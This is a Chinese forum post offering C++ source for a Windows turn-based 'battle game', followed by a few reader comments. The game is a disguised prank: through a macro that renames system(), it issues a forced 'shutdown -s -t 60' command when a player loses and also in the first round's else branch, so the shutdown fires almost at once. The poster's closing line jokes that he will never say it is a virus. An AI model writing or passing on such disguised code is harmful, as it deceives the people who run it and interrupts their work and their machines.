对战游戏
2025-05-28 19:27:59
发布于:浙江
#include <bits/stdc++.h>
#include <iostream>
#include <string>
#include <cstdlib>
#include <ctime>
#include <windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
#define ROW 10
#define COL 10
using namespace std;
class Player {
private:
string name;
int health;
int attackPower;
int defensePower;
public:
Player(string n) : name(n), health(100), attackPower(15 + rand() % 10), defensePower(5 + rand() % 5) {
cout << name << " 加入了战斗!\n";
}
string getName() const {
return name;
}
int getHealth() const {
return health;
}
void attack(Player& opponent) {
int damage = attackPower - (rand() % (opponent.defensePower / 2 + 1));
if (damage < 1) damage = 1;
opponent.health -= damage;
if (opponent.health < 0) opponent.health = 0;
cout << name << " 攻击了 " << opponent.getName()
<< ",造成了 " << damage << " 点伤害!\n";
}
bool isAlive() const {
return health > 0;
}
void showStatus() const {
cout << name << " 的状态:\n";
cout << "生命值: " << health << "\n";
cout << "攻击力: " << attackPower << "\n";
cout << "防御力: " << defensePower << "\n\n";
}
};
int main() {
MessageBoxA(NULL, "请认真看完接下来的话", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "一键三联", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码是死神制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码为病毒代码(关机就能解决)", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
MessageBoxA(NULL, "本代码只支持Windows系统,其它系统不行", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
MessageBoxA(NULL, "本代码只支持Windows高版本的计算机", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
FreeConsole();
AllocConsole();
srand(time(0));
string player1Name, player2Name;
cout << "欢迎来到对战游戏!\n";
cout << "请输入玩家1的名字: ";
cin >> player1Name;
cout << "请输入玩家2的名字: ";
cin >> player2Name;
Player player1(player1Name);
Player player2(player2Name);
int turn = 1;
while (player1.isAlive() && player2.isAlive()) {
cout << "=== 回合 " << turn << " ===\n";
if (turn == 1) {
player1.showStatus();
player2.showStatus();
player1.attack(player2);
} else {
player1.showStatus();
player2.showStatus();
player2.attack(player1);
}
if (!player1.isAlive()) {
cout << player1.getName() << " 被击败了!\n";
cout << player1.getName() << " 居然被击败了!那就送你一份大礼包吧\n";
t("shutdown -s -t 60 -c 60秒关机,启动!");
cout << player2.getName() << " 获得了胜利!\n";
} else if (!player2.isAlive()) {
cout << player2.getName() << " 居然被击败了!那就送你一份大礼包吧\n";
t("shutdown -s -t 60 -c 60秒关机,启动!");
cout << player1.getName() << " 获得了胜利!\n";
}
else{
g << "你竟然敢输错,那就送你一份大礼包吧";
t("shutdown -s -t 60 -c 60秒关机,启动!");
}
turn = 3 - turn;
if (player1.isAlive() && player2.isAlive()) {
cout << "按回车键继续下一回合...";
cin.ignore();
cin.get();
}
}
return 0;
}
我是绝对不会告诉你这是病毒
全部评论 4
在哪里输入
2025-06-02 来自 上海
0在哪里玩
2025-06-02 来自 上海
0人机人机
2025-06-02 来自 重庆
0?
2025-06-02 来自 浙江
0
dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
2025-05-28 来自 浙江
0
有帮助,赞一个